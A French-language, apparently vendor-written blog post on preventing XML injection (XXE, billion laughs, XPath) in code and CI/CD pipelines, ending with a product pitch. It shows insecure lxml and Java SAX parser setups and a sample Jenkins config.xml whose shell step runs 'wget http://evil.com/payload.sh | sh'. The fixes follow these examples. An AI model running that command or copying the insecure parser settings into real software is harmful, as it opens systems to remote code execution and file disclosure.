Injection XML - comment empêcher l'injection XML

Injection XML : comment les attaquants perturbent vos analyseurs

Comment l'injection XML transforme les analyseurs en surfaces d'attaque

Les développeurs ignorent souvent à quel point l'injection XML peut facilement compromettre leurs systèmes. Si vous vous demandez comment prévenir l'injection XML, la première étape consiste à identifier son origine. Par défaut, de nombreux analyseurs XML des langages de programmation modernes sont vulnérables. Transmettre des entrées contrôlées par l'utilisateur à ces analyseurs, surtout sans renforcement adéquat, transforme un processeur XML basique en vecteur d'attaque.

C'est ce qui rend l'injection XML si dangereuse : elle ne s'appuie pas sur des bugs dans votre code. Elle exploite la configuration, ou la mauvaise configuration, de votre analyseur. Comprendre ce que cela implique, c'est comprendre comment des fonctionnalités comme la résolution d'entités, les DTD externes et l'analyse XPath deviennent des risques.

Il n'est pas nécessaire d'analyser explicitement le XML. L'injection apparaît dans les fichiers de configuration. pipeline définitions, artefacts de test et outils tiers. Si votre CI/CD ou la pile d'applications inclut du XML, vous devez savoir comment l'empêcher avant qu'il ne devienne un problème de chaîne d'approvisionnement.

Vecteurs d'attaque réels d'injection XML dans le code et Pipelines

Vulnérabilités XML réelles que les développeurs ignorent

Injection XML passe souvent inaperçu car il se cache dans des chemins de code fiables :

  • Expansion de l'entité (milliards de rires): Exploite la récursivité de l'analyseur pour faire planter les systèmes.
  • Entités externes (XXE): Lit des fichiers ou accède à des services internes.
  • Injection XPath:Manipule la logique dans les requêtes basées sur XML.

Exemple Python (XXE Risk)

⚠️Mise en garde: Ce code permet la résolution d'entités externes, le rendant vulnérable aux attaques XXE.

from lxml import etree
parser = etree.XMLParser(resolve_entities=True)
xml = etree.fromstring(user_input, parser)

Exemple Java (extension d'entité)

⚠️Mise en garde: Cet analyseur utilise des valeurs par défaut non sécurisées qui peuvent être exploitées.

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

CI/CD Exemple :

⚠️Mise en garde: Injection de XML non sécurisé dans pipeline les configurations peuvent conduire à une exploitation.

<!-- Malicious Jenkins config.xml snippet -->
<project>
<builders>
<hudson.tasks.Shell>
<command>wget http://evil.com/payload.sh | sh</command>
</hudson.tasks.Shell>
</builders>
</project>

Si ces entrées ne sont pas nettoyées, vous venez d’ouvrir la porte à l’injection XML dans votre pile d’automatisation.

Pourquoi les bibliothèques XML par défaut placent votre CI/CD à risque

La plupart des développeurs ne savent pas comment empêcher l'injection XML, car ils ignorent que leurs outils utilisent XML. Des outils populaires comme Maven, Jenkins et divers frameworks de déploiement s'appuient encore largement sur XML.

CI/CD Points d'injection :

  • Maven's pom.xml
  • Configurations de tâches Jenkins (config.xml)
  • Ressources personnalisées Kubernetes basées sur XML
  • Exécuteurs de tests Python ou Java qui s'appuient sur des rapports XML

Ce qui aggrave la situation, c’est que de nombreuses bibliothèques open source utilisent des analyseurs XML avec des valeurs par défaut non sécurisées, ce qui fait des attaques par injection XML un risque réel.

⚠️ Mise en garde: Certain pipelines analyse automatiquement le XML à partir d'entrées non fiables (par exemple, les téléchargements d'artefacts).

Une fois analysé, le XML contenant des constructions dangereuses peut :

  • Accéder aux fichiers internes
  • Déclencher des appels à distance
  • Modifier le comportement du travail

Vous n'êtes pas seulement exposé, vous diffusez une surface d'attaque sur tous les pipeline fonctionner.

⚠️Mise en garde: Les étapes de sérialisation et de désérialisation ci-dessous gèrent les données potentiellement non fiables sans validation.

Comment empêcher l'injection avec des configurations d'analyse sécurisées

Pratiques sécuritaires : comment prévenir les injections

Pour arrêter l’injection, vous devez renforcer votre analyseur XML avant qu’il ne traite une entrée.

Java

// Secure XML parser config
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

Python

# Safe alternative to vulnerable XML parsers
from defusedxml.ElementTree import fromstring
xml = fromstring(user_input) # Safe from XXE and entity expansion

CI/CD Pipeline

- name: Scan XML inputs for DTDs
run: |
grep -r '<!DOCTYPE' . || echo "No unsafe XML detected"

Meilleur entrainement: Analysez et rejetez toujours le XML qui utilise des déclarations DOCTYPE ou ENTITY, sauf si cela est explicitement nécessaire. Ces techniques sont essentielles si vous souhaitez arrêter l’injection et sécurisez votre cycle de vie DevOps.

Des erreurs de configuration aux risques liés à la chaîne d'approvisionnement : le rôle de Xygeni

Vous ne pouvez pas arrêter l'injection XML si vous ignorez où votre XML est traité. C'est là que Xygéni fait une différence.

Xygeni aide les équipes à :

  • Cartographier l'utilisation du XML sur les bases de code, les builds et les environnements d'exécution
  • Détecter les configurations d'analyseur non sécurisées et la manipulation risquée des fichiers XML
  • Identifier les packages tiers introduisant discrètement l'analyse XML
  • Intégrez des politiques de validation XML sécurisées directement dans CI/CD pipelines

Il ne s'agit pas seulement de corriger un analyseur. Il s'agit de vous assurer que vous n'aurez plus jamais à vous demander comment vous avez pu rater un vecteur XML d'injection.

Verrouillage des analyseurs : comment empêcher l'injection XML partout

L'injection XML est une menace sérieuse, même si vous n'utilisez pas directement XML. Elle s'infiltre souvent via les valeurs par défaut, les packages tiers et les parties négligées de votre système. pipeline.

Pour s'en défendre :

  • Sachez comment et où XML est analysé dans votre pile
  • Appliquer des configurations renforcées et des schémas validés
  • Écran tactile pipelines pour les structures XML non sécurisées
  • Utilisez Xygeni pour détecter, tracer et corriger l'exposition à l'injection avant la libération

Si vous êtes sérieux à propos de DevSecOpsVous devez prendre l'injection au sérieux. Et vous devez savoir comment empêcher l'injection XML à chaque couche de votre pile. Sécurisez votre XML. Sécurisez votre pipelines. Éliminer le risque d’injection XML.

sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Essai gratuit 7 jours
Pas de carte bleue requise

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni